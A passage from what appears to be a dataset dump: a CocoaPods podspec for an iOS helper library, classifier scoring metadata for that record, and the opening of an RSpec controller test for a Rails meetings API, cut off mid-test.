often used but very time consuming to recreate logic for iOS.'\n\t\n\tspec.source\t= { :git => 'https://github.com/premosystems/MyiOSHelpers.git', :tag => spec.version.to_s }\n\tspec.requires_arc = true\n \n\tspec.ios.deployment_target = '7.0'\n \n\tspec.resource = 'MyiOSHelpers.podspec'\n \n\tspec.source_files = 'MyiOSHelpers/*.{h,m}'\n \n #spec.dependency 'DateTools', '~> 1.3.0'\n #spec.dependency 'MTDates', '~> 0.13.0'\n #spec.dependency 'Underscore.m', '~> 0.2.1'\n \n # spec.prefix_header_contents = '#import \"Underscore.h\"', '#ifndef _', '#define _ Underscore', '#endif', '#import \"DateTools.h\"', '#ifndef MTDATES_NO_PREFIX', '#define MTDATES_NO_PREFIX 1', '#endif', '#import \"NSDate+MTDates.h\"'\n \n\tspec.subspec \"Logic\" do |logic|\n\t\tlogic.source_files = 'MyiOSHelpers/Logic/*.{h,m}'\n \t\n logic.subspec \"Apple\" do |apple|\n\t\t\tapple.source_files = 'MyiOSHelpers/Logic/Apple/*.h'\n \n apple.subspec \"CoreData\" do |cd|\n\t\t\t\tcd.source_files = 'MyiOSHelpers/Logic/Apple/CoreData/*.{h,m}'\n\t\t\t\tcd.ios.framework = 'CoreData'\n\t\t\t\tcd.ios.dependency 'MyiOSHelpers/Logic/Blocks', spec.version.to_s\n\t\t\t\tcd.ios.dependency 'MyiOSHelpers/Logic/Categories', spec.version.to_s\n cd.ios.dependency 'MyiOSHelpers/Logic/ThirdPartyHelpers/KeyValueObjectMapping', spec.version.to_s\n cd.ios.dependency 'MagicalRecord', '~> 2.2.0'\n\t\t\tend\n \n\t\t\tapple.subspec \"CoreLocation\" do |cl|\n\t\t\t\tcl.source_files = 'MyiOSHelpers/Logic/Apple/CoreLocation/*.{h,m}'\n\t\t\t\tcl.ios.framework = 'CoreLocation'\n\t\t\t\tcl.ios.dependency 'MyiOSHelpers/Logic/Blocks', spec.version.to_s\n\t\t\t\tcl.ios.dependency 'MyiOSHelpers/Logic/Categories', spec.version.to_s\n\t\t\t\tcl.ios.dependency 'MyiOSHelpers/Logic/ThirdPartyHelpers/CocoaLumberjack', spec.version.to_s\n cl.ios.dependency 'NSTimer-Blocks', '~> 0.0.1'\n\t\t\tend \n\t\t\t\n\t\t\tapple.subspec \"CoreBluetooth\" do |cb|\n\t\t\t\tcb.source_files = 'MyiOSHelpers/Logic/Apple/CoreBluetooth/*.{h,m}'\n\t\t\t\tcb.ios.framework = 'CoreBluetooth'\n cb.prefix_header_contents = \t'#import \"Lumberjack-Default-Log-Level.h\"',\n '#import \"PrettyClassInformationLogFormatter.h\"'\n\t\t\t\tcb.ios.dependency 'MyiOSHelpers/Logic/Blocks', spec.version.to_s\n\t\t\t\tcb.ios.dependency 'MyiOSHelpers/Logic/Categories', spec.version.to_s\n\t\t\t\tcb.ios.dependency 'MyiOSHelpers/Logic/ThirdPartyHelpers/CocoaLumberjack', spec.version.to_s\n\t\t\tend\n end\n \n\t\tlogic.subspec \"Blocks\" do |blocks|\n\t\t\tblocks.source_files = 'MyiOSHelpers/Logic/Blocks/*.h'\n\t\tend\n \n\t\tlogic.subspec \"Categories\" do |logic_categories|\n\t\t\tlogic_categories.source_files = 'MyiOSHelpers/Logic/Categories/*.{h,m}'\n logic_categories.dependency 'NSDate+Helper', '~> 0.0.1'\n \n categoriesArray = [\"NSArray\",\"NSData\",\"NSDate\",\"NSDictionary\",\"NSError\",\"NSNull\",\"NSNumber\",\"NSOperationQueue\",\"NSRunLoop\",\"NSString\",\"UIApplication\",\"UIDevice\"]\n \n for category in categoriesArray\n logic_categories.subspec category do |cat|\n cat.source_files = \"MyiOSHelpers/Logic/Categories/#{category}/*.{h,m}\"\n cat.prefix_header_contents = \t'#import \"Lumberjack-Default-Log-Level.h\"',\n '#import \"PrettyClassInformationLogFormatter.h\"'\n cat.dependency 'MyiOSHelpers/Logic/ThirdPartyHelpers/CocoaLumberjack', spec.version.to_s\n end\n end\n \n logic_categories.subspec \"NSObject\" do |nsobject|\n nsobject.source_files = \"MyiOSHelpers/Logic/Categories/NSObject/*.{h,m}\"\n nsobject.dependency 'MyiOSHelpers/Logic/Categories/NSDictionary', spec.version.to_s\n end\n\t\tend\n \n logic.subspec \"ThirdPartyHelpers\" do |third_party|\n\t\t\tthird_party.source_files = 'MyiOSHelpers/Logic/ThirdPartyHelpers/*.h'\n\n third_party.subspec \"KeyValueObjectMapping\" do |kvom|\n\t\t\t\tkvom.source_files = 'MyiOSHelpers/Logic/ThirdPartyHelpers/KeyValueObjectMapping/*.{h,m}'\n\t\t\t\tkvom.ios.dependency 'DCKeyValueObjectMapping', '~> 1.4.0'\n kvom.ios.dependency 'NSObject-ObjectMap', '~> 2.3.1'\n end\n \n\t\t\tthird_party.subspec \"MongoDB\" do |mongo|\n\t\t\t\tmongo.source_files = 'MyiOSHelpers/Logic/ThirdPartyHelpers/Mongo/*.{h,m}'\n\t\t\t\tmongo.ios.dependency 'MyiOSHelpers/Logic/ThirdPartyHelpers/KeyValueObjectMapping'\n mongo.prefix_header_contents = '#import \"Underscore.h\"', '#ifndef _', '#define _ Underscore', '#endif'\n\t\t\t\tmongo.ios.dependency 'NSObject-ObjectMap', '~> 2.3.1'\n mongo.ios.dependency 'Underscore.m', '~> 0.2.1'\n\t\t\tend\n \n third_party.subspec \"CocoaLumberjack\" do |lumberjack|\n\t\t\t\tlumberjack.ios.dependency 'LumberjackPrettyClassInformation', '~>1.1.0'\n\t\t\t\tlumberjack.prefix_header_contents = \t'#import \"Lumberjack-Default-Log-Level.h\"',\n '#import \"PrettyClassInformationLogFormatter.h\"'\n\t\t\t\tlumberjack.source_files = 'MyiOSHelpers/Logic/ThirdPartyHelpers/CocoaLumberjack/*.{h,m}'\n\t\t\t\t\n\t\t\tend\n \n third_party.subspec \"ReactiveCocoa\" do |reactive|\n\t\t\t\treactive.source_files = 'MyiOSHelpers/Logic/ThirdPartyHelpers/ReactiveCocoa/*.{h,m}'\n reactive.ios.dependency 'MyiOSHelpers/Logic/Blocks', spec.version.to_s\n reactive.ios.dependency 'ReactiveCocoa', '~>2.3.0'\n end\n \n\t\tend\n\tend\nend", "text_preview": "Pod::Spec.new do |spec| spec.name = 'MyiOSHelpers' spec.version = '1.0.6' spec.homepage = \"http://github.com/premosystems/MyiOSHelpers\" spec.author = { \"\" => \"\" } spec.license = 'MIT' spec.summary = 'A collection of often used ", "input_sha256": "660fd0648f8f2784c1f6ac044f9c0b9d0b4b738273f6594278a2ec792cc6fc1f", "text_sha256": "8dcfa37044e446bf2aa1a4cb5b6cac8003b039abeb381617c3e23cba5ebb5c4e", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16081, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.8533755442472002, "noise_severity": 0.16748024211914533, "missing_content_severity": 0.04192230880610966, "factual_density": 3.442937667870025, "pretraining_utility": -0.14559594088248531, "math_density": 0.004502619879454178, "code_density": 3.563732625035508, "reasoning_density": 0.01250408468810411, "education_level": 2.4937567133391756, "creative_writing_quality": -0.3456512379414595}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.17330867841761977, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9039112039772055, "secondary": 0.6516250786344446, "tertiary": 0.8324689169832654, "structured_records": 0.6256643954878074, "procedural_steps": 0.002762780623543874, "worked_solution": 0.0002599994624978739, "contextual_dialogue": 9.057209920229565e-06, "content_quality": 0.4679542405857954, "noise_severity": 0.8604331315673789, "missing_content_severity": 0.9650647426615753, "factual_density": 0.5357813898916877, "pretraining_utility": 0.5134118426582803, "math_density": 0.9962478167671215, "code_density": 0.6364438541962567, "reasoning_density": 0.9895799294265799, "education_level": 0.4518502915395702, "creative_writing_quality": 0.9989446658980363, "primary_topic": 0.9821986720358223, "secondary_topic": 0.9355086890454255}, "probability_margin": {"primary": 0.8400096094581024, "secondary": 0.4099986115729842, "tertiary": 0.7454160979481493, "education_level": 0.19410055336342252, "creative_writing_quality": 0.9987685383634479, "primary_topic": 0.9697750972393955, "secondary_topic": 0.9075886249605342}, "raw_probabilities": {"primary": {"Academic Writing": 0.00020423291509948126, "Content Listing": 0.0008055528455171529, "Creative Writing": 0.00014484816885545492, "Customer Support Page": 0.0001216368761958905, "Q&A Forum": 0.00012290654434983237, "Discussion Thread": 9.231204459100372e-05, "Comment Section": 0.00012664794150625655, "Missing Content": 0.0002148891775285476, "Knowledge Article": 0.0003323675787829339, "Legal Notices": 0.000906225375623492, "News Article": 7.619038495179513e-05, "Organizational Announcement": 0.00018055335585516762, "Nonfiction Writing": 0.0001191065342947369, "Organizational About Page": 0.00020196501930886223, "Personal About Page": 0.00011869859861506836, "Personal Blog": 7.102673016593086e-05, "Product Page": 0.0009887188336011991, "Spam / Ads": 0.00013898098820899527, "Structured Data": 0.06790529435338608, "Technical Writing": 0.9079149038114885, "Transcript / Interview": 0.00013005254065574857, "Tutorial / How-To Guide": 0.0004953103168417406, "User Reviews": 7.754195308654366e-05, "Other / Unknown": 0.0185100371114897}, "secondary": {"Academic Writing": 0.0009086157439958979, "Content Listing": 0.0035226893518789837, "Creative Writing": 0.0008952283425095146, "Customer Support Page": 0.0005720149745566393, "Q&A Forum": 0.0004324999423326571, "Discussion Thread": 0.0003955187182120402, "Comment Section": 0.0005620961249029259, "Missing Content": 0.0013443179983921834, "Knowledge Article": 0.0011960808722843014, "Legal Notices": 0.01555683336620717, "News Article": 0.0005515423349237945, "Organizational Announcement": 0.0007235782507246495, "Nonfiction Writing": 0.0006188278282307579, "Organizational About Page": 0.0011068814879351323, "Personal About Page": 0.0005600555857184878, "Personal Blog": 0.00045160545520926015, "Product Page": 0.0015949090757510357, "Spam / Ads": 0.0006839479579625296, "Structured Data": 0.25614208878502526, "Technical Writing": 0.044191820399669915, "Transcript / Interview": 0.0006119484938746901, "Tutorial / How-To Guide": 0.0008817450873583862, "User Reviews": 0.00035445346433427043, "NONE": 0.6661407003580094}, "tertiary": {"Academic Writing": 0.00043609238440697013, "Content Listing": 0.0030183696329682784, "Creative Writing": 0.0004330756033738878, "Customer Support Page": 0.00028802389753448493, "Q&A Forum": 0.00018471072695631203, "Discussion Thread": 0.00018865925530165334, "Comment Section": 0.0003187766049985193, "Missing Content": 0.0009680804028400985, "Knowledge Article": 0.0011088675246220456, "Legal Notices": 0.026776286001372482, "News Article": 0.0002745202417693185, "Organizational Announcement": 0.00042002296334744135, "Nonfiction Writing": 0.00039610389334336247, "Organizational About Page": 0.0007263480733918796, "Personal About Page": 0.00037858438451021095, "Personal Blog": 0.00024256148838973642, "Product Page": 0.0013160952669163469, "Spam / Ads": 0.000372318507924179, "Structured Data": 0.09403328082747998, "Technical Writing": 0.027668020875213386, "Transcript / Interview": 0.0003020768314208919, "Tutorial / How-To Guide": 0.0005356727935240777, "User Reviews": 0.0001640730427651207, "NONE": 0.8394493787756293}, "structured_records": {"false": 0.3743356045121926, "true": 0.6256643954878074}, "procedural_steps": {"false": 0.9972372193764562, "true": 0.002762780623543874}, "worked_solution": {"false": 0.9997400005375021, "true": 0.0002599994624978739}, "contextual_dialogue": {"false": 0.9999909427900797, "true": 9.057209920229565e-06}, "content_quality": {"-2": 0.010037465006140622, "-1": 0.06286582957041525, "0": 0.23669562936567026, "1": 0.44448584828565096, "2": 0.24591522777212282}, "noise_severity": {"0": 0.8595445563516199, "1": 0.11907713766456571, "2": 0.017202378251795852, "3": 0.0027053629770873765, "4": 0.0014705647549314567}, "missing_content_severity": {"0": 0.9673194436522371, "1": 0.026726864692975538, "2": 0.0036457298961384355, "3": 0.0013278627137382171, "4": 0.0009800990449106476}, "factual_density": {"0": 0.0022969125920198835, "1": 0.005312707835989362, "2": 0.07446576307979605, "3": 0.383005032094335, "4": 0.5349195843978597}, "pretraining_utility": {"-2": 0.02978195018296939, "-1": 0.3051869644803356, "0": 0.4721466869120723, "1": 0.16661387288545645, "2": 0.026270525539166308}, "math_density": {"0": 0.9969810764581656, "1": 0.002311792562170189, "2": 0.00024105792798644415, "3": 0.00015558074540071766, "4": 0.00031049230627723713}, "code_density": {"0": 0.002209643332380564, "1": 0.004771309569926985, "2": 0.08962025192914373, "3": 0.23387436906690132, "4": 0.6695244261016474}, "reasoning_density": {"0": 0.9906656389777589, "1": 0.006743142630258442, "2": 0.00213146363409793, "3": 0.0003410042418890577, "4": 0.00011875051599565853}, "education_level": {"none": 0.002415882696464463, "0": 0.002631540083720139, "1": 0.01885101458251037, "2": 0.5432085762829751, "3": 0.3491080229195526, "4": 0.08378496343477732}, "creative_writing_quality": {"not_applicable": 0.9991205549150303, "-2": 0.0001297363718151148, "-1": 0.00024369014252886276, "0": 0.0003520165515823449, "1": 0.00010882243424853353, "2": 4.5179584794657295e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.569147995258875e-05, "Art & Design": 0.0001719683657781933, "Law & Crime": 0.000184067363524104, "Education & Careers": 7.983536223272663e-05, "Entertainment & Media": 7.016516159069566e-05, "Fashion & Beauty": 5.411841434955724e-05, "Business, Economics & Finance": 0.00014620970128796824, "Food & Dining": 4.0856293762502865e-05, "Games & Gaming": 0.00017172728824821058, "Electronics & Hardware": 0.001130110379508053, "Health, Healthcare & Wellness": 7.925752847539847e-05, "History & Geography": 5.912371355177098e-05, "Home, Pets & Hobbies": 6.384015409699611e-05, "Industry & Production": 4.72471691086557e-05, "Language, Literature & Philosophy": 7.693846451741577e-05, "Politics & Government": 4.296061446123486e-05, "Religion & Spirituality": 4.937559665083429e-05, "Science, Mathematics & Engineering": 0.0002384386012437674, "Relationships & Community": 3.477658374749183e-05, "Software Usage & Applications": 0.013108241256587525, "Programming & Software Engineering": 0.982883338495983, "Sports & Fitness": 8.522722195155288e-05, "Vehicles & Transportation": 3.5198517598682066e-05, "Travel & Tourism": 6.642058728821153e-05, "Other / Uncovered Subject": 0.0006507874399184674, "Unknown / Insufficient Content": 0.0003740782445844823}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00032485588111071096, "Art & Design": 0.0005597797696034034, "Law & Crime": 0.004206103089884093, "Education & Careers": 0.0002615952309989493, "Entertainment & Media": 0.00036653112075298017, "Fashion & Beauty": 0.00014903925052231612, "Business, Economics & Finance": 0.00047350213857721816, "Food & Dining": 0.00011817909645563335, "Games & Gaming": 0.00048644389461479357, "Electronics & Hardware": 0.002417438111317137, "Health, Healthcare & Wellness": 0.00018985042085595597, "History & Geography": 0.00016672624470701695, "Home, Pets & Hobbies": 0.0001658891378675072, "Industry & Production": 0.00010829381157536117, "Language, Literature & Philosophy": 0.00016600854589877878, "Politics & Government": 0.00017328033968396154, "Religion & Spirituality": 0.0001613437659427272, "Science, Mathematics & Engineering": 0.0003657163496886532, "Relationships & Community": 9.904540415359008e-05, "Software Usage & Applications": 0.030400499121605706, "Programming & Software Engineering": 0.019842254864048964, "Sports & Fitness": 0.00016409115304429945, "Vehicles & Transportation": 8.66544652415044e-05, "Travel & Tourism": 0.00019027683200176552, "Other / Uncovered Subject": 0.0003674778777070526, "NONE": 0.9379891240821399}}, "probabilities": {"primary": {"Academic Writing": 0.0002042329150994812, "Content Listing": 0.0008055528455171527, "Creative Writing": 0.0001448481688554549, "Customer Support Page": 0.00012163687619589047, "Q&A Forum": 0.00012290654434983235, "Discussion Thread": 9.23120445910037e-05, "Comment Section": 0.00012664794150625653, "Missing Content": 0.00021488917752854754, "Knowledge Article": 0.0003323675787829338, "Legal Notices": 0.0009062253756234918, "News Article": 7.619038495179512e-05, "Organizational Announcement": 0.0001805533558551676, "Nonfiction Writing": 0.00011910653429473688, "Organizational About Page": 0.00020196501930886218, "Personal About Page": 0.00011869859861506833, "Personal Blog": 7.102673016593084e-05, "Product Page": 0.000988718833601199, "Spam / Ads": 0.00013898098820899524, "Structured Data": 0.06790529435338606, "Technical Writing": 0.9079149038114883, "Transcript / Interview": 0.00013005254065574855, "Tutorial / How-To Guide": 0.0004953103168417405, "User Reviews": 7.754195308654364e-05, "Other / Unknown": 0.018510037111489696}, "secondary": {"Academic Writing": 0.000908615743995898, "Content Listing": 0.003522689351878984, "Creative Writing": 0.0008952283425095148, "Customer Support Page": 0.0005720149745566394, "Q&A Forum": 0.00043249994233265714, "Discussion Thread": 0.00039551871821204027, "Comment Section": 0.000562096124902926, "Missing Content": 0.0013443179983921836, "Knowledge Article": 0.0011960808722843016, "Legal Notices": 0.015556833366207171, "News Article": 0.0005515423349237946, "Organizational Announcement": 0.0007235782507246496, "Nonfiction Writing": 0.000618827828230758, "Organizational About Page": 0.0011068814879351325, "Personal About Page": 0.0005600555857184879, "Personal Blog": 0.0004516054552092602, "Product Page": 0.001594909075751036, "Spam / Ads": 0.0006839479579625297, "Structured Data": 0.2561420887850253, "Technical Writing": 0.04419182039966992, "Transcript / Interview": 0.0006119484938746902, "Tutorial / How-To Guide": 0.0008817450873583863, "User Reviews": 0.0003544534643342705, "NONE": 0.6661407003580095}, "tertiary": {"Academic Writing": 0.00043609238440697013, "Content Listing": 0.0030183696329682784, "Creative Writing": 0.0004330756033738878, "Customer Support Page": 0.00028802389753448493, "Q&A Forum": 0.00018471072695631203, "Discussion Thread": 0.00018865925530165334, "Comment Section": 0.0003187766049985193, "Missing Content": 0.0009680804028400985, "Knowledge Article": 0.0011088675246220456, "Legal Notices": 0.026776286001372482, "News Article": 0.0002745202417693185, "Organizational Announcement": 0.00042002296334744135, "Nonfiction Writing": 0.00039610389334336247, "Organizational About Page": 0.0007263480733918796, "Personal About Page": 0.00037858438451021095, "Personal Blog": 0.00024256148838973642, "Product Page": 0.0013160952669163469, "Spam / Ads": 0.000372318507924179, "Structured Data": 0.09403328082747998, "Technical Writing": 0.027668020875213386, "Transcript / Interview": 0.0003020768314208919, "Tutorial / How-To Guide": 0.0005356727935240777, "User Reviews": 0.0001640730427651207, "NONE": 0.8394493787756293}, "structured_records": {"false": 0.3743356045121926, "true": 0.6256643954878074}, "procedural_steps": {"false": 0.9972372193764562, "true": 0.002762780623543874}, "worked_solution": {"false": 0.9997400005375021, "true": 0.0002599994624978739}, "contextual_dialogue": {"false": 0.9999909427900797, "true": 9.057209920229565e-06}, "content_quality": {"-2": 0.010037465006140623, "-1": 0.06286582957041527, "0": 0.2366956293656703, "1": 0.444485848285651, "2": 0.24591522777212285}, "noise_severity": {"0": 0.8595445563516196, "1": 0.11907713766456568, "2": 0.01720237825179585, "3": 0.002705362977087376, "4": 0.0014705647549314563}, "missing_content_severity": {"0": 0.9673194436522372, "1": 0.02672686469297554, "2": 0.003645729896138436, "3": 0.0013278627137382174, "4": 0.0009800990449106478}, "factual_density": {"0": 0.0022969125920198835, "1": 0.005312707835989362, "2": 0.07446576307979605, "3": 0.383005032094335, "4": 0.5349195843978597}, "pretraining_utility": {"-2": 0.02978195018296939, "-1": 0.3051869644803356, "0": 0.4721466869120723, "1": 0.16661387288545645, "2": 0.026270525539166308}, "math_density": {"0": 0.9969810764581654, "1": 0.0023117925621701885, "2": 0.0002410579279864441, "3": 0.00015558074540071763, "4": 0.0003104923062772371}, "code_density": {"0": 0.002209643332380564, "1": 0.004771309569926985, "2": 0.08962025192914373, "3": 0.23387436906690132, "4": 0.6695244261016474}, "reasoning_density": {"0": 0.9906656389777589, "1": 0.006743142630258442, "2": 0.00213146363409793, "3": 0.0003410042418890577, "4": 0.00011875051599565853}, "education_level": {"none": 0.002415882696464463, "0": 0.002631540083720139, "1": 0.01885101458251037, "2": 0.5432085762829751, "3": 0.3491080229195526, "4": 0.08378496343477732}, "creative_writing_quality": {"not_applicable": 0.9991205549150305, "-2": 0.00012973637181511484, "-1": 0.0002436901425288628, "0": 0.00035201655158234493, "1": 0.00010882243424853356, "2": 4.51795847946573e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.569147995258875e-05, "Art & Design": 0.0001719683657781933, "Law & Crime": 0.000184067363524104, "Education & Careers": 7.983536223272663e-05, "Entertainment & Media": 7.016516159069566e-05, "Fashion & Beauty": 5.411841434955724e-05, "Business, Economics & Finance": 0.00014620970128796824, "Food & Dining": 4.0856293762502865e-05, "Games & Gaming": 0.00017172728824821058, "Electronics & Hardware": 0.001130110379508053, "Health, Healthcare & Wellness": 7.925752847539847e-05, "History & Geography": 5.912371355177098e-05, "Home, Pets & Hobbies": 6.384015409699611e-05, "Industry & Production": 4.72471691086557e-05, "Language, Literature & Philosophy": 7.693846451741577e-05, "Politics & Government": 4.296061446123486e-05, "Religion & Spirituality": 4.937559665083429e-05, "Science, Mathematics & Engineering": 0.0002384386012437674, "Relationships & Community": 3.477658374749183e-05, "Software Usage & Applications": 0.013108241256587525, "Programming & Software Engineering": 0.982883338495983, "Sports & Fitness": 8.522722195155288e-05, "Vehicles & Transportation": 3.5198517598682066e-05, "Travel & Tourism": 6.642058728821153e-05, "Other / Uncovered Subject": 0.0006507874399184674, "Unknown / Insufficient Content": 0.0003740782445844823}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000324855881110711, "Art & Design": 0.0005597797696034035, "Law & Crime": 0.004206103089884094, "Education & Careers": 0.00026159523099894934, "Entertainment & Media": 0.0003665311207529802, "Fashion & Beauty": 0.00014903925052231614, "Business, Economics & Finance": 0.0004735021385772182, "Food & Dining": 0.00011817909645563336, "Games & Gaming": 0.0004864438946147936, "Electronics & Hardware": 0.0024174381113171374, "Health, Healthcare & Wellness": 0.000189850420855956, "History & Geography": 0.00016672624470701698, "Home, Pets & Hobbies": 0.00016588913786750722, "Industry & Production": 0.00010829381157536118, "Language, Literature & Philosophy": 0.0001660085458987788, "Politics & Government": 0.00017328033968396156, "Religion & Spirituality": 0.00016134376594272723, "Science, Mathematics & Engineering": 0.00036571634968865323, "Relationships & Community": 9.90454041535901e-05, "Software Usage & Applications": 0.03040049912160571, "Programming & Software Engineering": 0.019842254864048968, "Sports & Fitness": 0.00016409115304429948, "Vehicles & Transportation": 8.665446524150441e-05, "Travel & Tourism": 0.00019027683200176554, "Other / Uncovered Subject": 0.00036747787770705266, "NONE": 0.93798912408214}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10085, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10085, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:08.215043+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "bcb1706f-db90-4076-8d2a-b5523afdfddc", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ff8fe936016b2a1259712c73a16d56d5ed4ce438fb2720d949a7e8a9d3d046ad", "source_metadata": {"uuid": "bcb1706f-db90-4076-8d2a-b5523afdfddc", "repo_name": "vincilbishop/MyiOSHelpers", "relative_path": "MyiOSHelpers.podspec", "category": "CONFIG", "algo_rel_score": 0.6238076090812683, "quality_score": 4.912386417388916, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 66, "repo_created_at": "2014-03-09T14:53:21.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a44d6562f198d6998a732a3b45ba7057aa98a46b", "size_bytes": 5753, "file_timestamp": 1415397200, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "fd5977cdc9e24e4946364a124c0447b111d05412"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 66, "repo_created_at": "2014-03-09T14:53:21.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a44d6562f198d6998a732a3b45ba7057aa98a46b", "size_bytes": 5753, "file_timestamp": 1415397200, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "fd5977cdc9e24e4946364a124c0447b111d05412", "url": "https://github.com/vincilbishop/MyiOSHelpers/blob/fd5977cdc9e24e4946364a124c0447b111d05412/MyiOSHelpers.podspec"}, "gpt4o_tokens": 1556, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.8533755442472002, "noise_severity": 0.16748024211914533, "missing_content_severity": 0.04192230880610966, "factual_density": 3.442937667870025, "pretraining_utility": -0.14559594088248531, "math_density": 0.004502619879454178, "code_density": 3.563732625035508, "reasoning_density": 0.01250408468810411, "education_level": 2.4937567133391756, "creative_writing_quality": -0.3456512379414595}, "score_applicability": {"education_level": 0.9975841173035356, "creative_writing_quality": 0.0008794450849695134}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/LuisHCK/encuentra-api/blob/1c77276df221a42d37f56d7febbc1e9da9ab5938/spec/controllers/meetings_controller_spec.rb", "id": "ruby-0-4b22a9b7140dd880ad89a748a18ef1ff", "text": "require \"rails_helper\"\n\nRSpec.describe MeetingsController, type: :controller do\n let(:country) { create(:country) }\n\n let(:publisher) { create(:publisher, country: country) }\n\n let(:category) { create(:category) }\n\n let(:city) { create(:city, country: country) }\n\n let(:user) { create(:user, city: city) }\n\n let(:zone) { create(:zone, city: city) }\n\n let(:room) { create(:room, user: user, zone: zone, category: category) }\n\n let(:valid_attributes) {\n FactoryBot.attributes_for(:meeting, room_id: room.id, user_id: user.id)\n }\n\n let(:invalid_attributes) {\n FactoryBot.attributes_for(:meeting, date_time: nil, room_id: room.id, user_id: user.id)\n }\n\n describe \"GET #index\" do\n it \"returns a success response\" do\n # meeting = Meeting.create! valid_attributes\n api_auth(request, user)\n get :index, params: {room_id: room.id}\n expect(response).to be_successful\n end\n end\n\n describe \"GET #show\" do\n it \"returns a success response\" do\n meeting = Meeting.create! valid_attributes\n\n api_auth(request, user)\n get :show, params: {room_id: room.to_param, id: meeting.to_param}\n 